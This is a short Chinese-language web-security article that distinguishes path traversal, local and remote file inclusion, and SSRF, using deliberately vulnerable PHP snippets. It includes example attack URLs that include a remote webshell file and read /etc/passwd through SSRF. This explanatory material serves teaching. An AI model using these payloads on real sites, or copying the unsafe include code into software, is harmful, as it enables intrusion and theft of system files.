LFI/RFI漏洞與SSRF漏洞表徵看起來相似,探討三個漏洞的區別。
一些相關漏洞
Path Traversal
也可以叫 Directory traversal,中譯路徑遊走、路徑遍歷,或者講目錄遍歷等說法。細節可以參考 CWE-23: Relative Path Traversal 已經夠詳細。
任意讀檔
在 php 中可以使用 file_get_contents()
的函數讀取檔案內容,但是這並不會讓讀入的文件被 php 解釋執行。
本地檔案包含
Local File Inclusion (LFI), 若客戶端可控制網頁包含本地文件,可能有LFI漏洞。
https://vulnerablesite.com/lfi.php?page=index.php
代碼
<?php
if (isset($_GET['page']))
include('php/' . $page);
?>
遠程檔案包含
Remote File Inclusion (RFI), 類似LFI漏洞但是允許包含遠程文件。
https://vulnerablesite.com/rfi.php?page=http://example.com/webshell.txt
代碼
<?php
if (isset($_GET['page']))
include($page);
?>
伺服器端請求偽造
Server-Side Request Forgery (SSRF),
透過伺服器發出各種協議的請求來執行惡意行為,並且可以控制URI
如http://
、file://
、ssh2://
、ftp://
等。
https://vulnerablesite.com/ssrf.php?uri=https://example.com/img1.png
https://vulnerablesite.com/ssrf.php?uri=file:///etc/passwd
代碼
<?php
if (isset($_GET['uri']))
echo file_get_contents($_GET['uri']);
?>
比較
RFI/LFI漏洞與SSRF漏洞本質上是不同的東西,
RFI為包含遠程文件而SSRF為發出請求,
php的include
支援偽協議,可以執行SSRF攻擊。
參考
- SSRF
- LFI/RFI
- 其他
Web安全 Vulnerability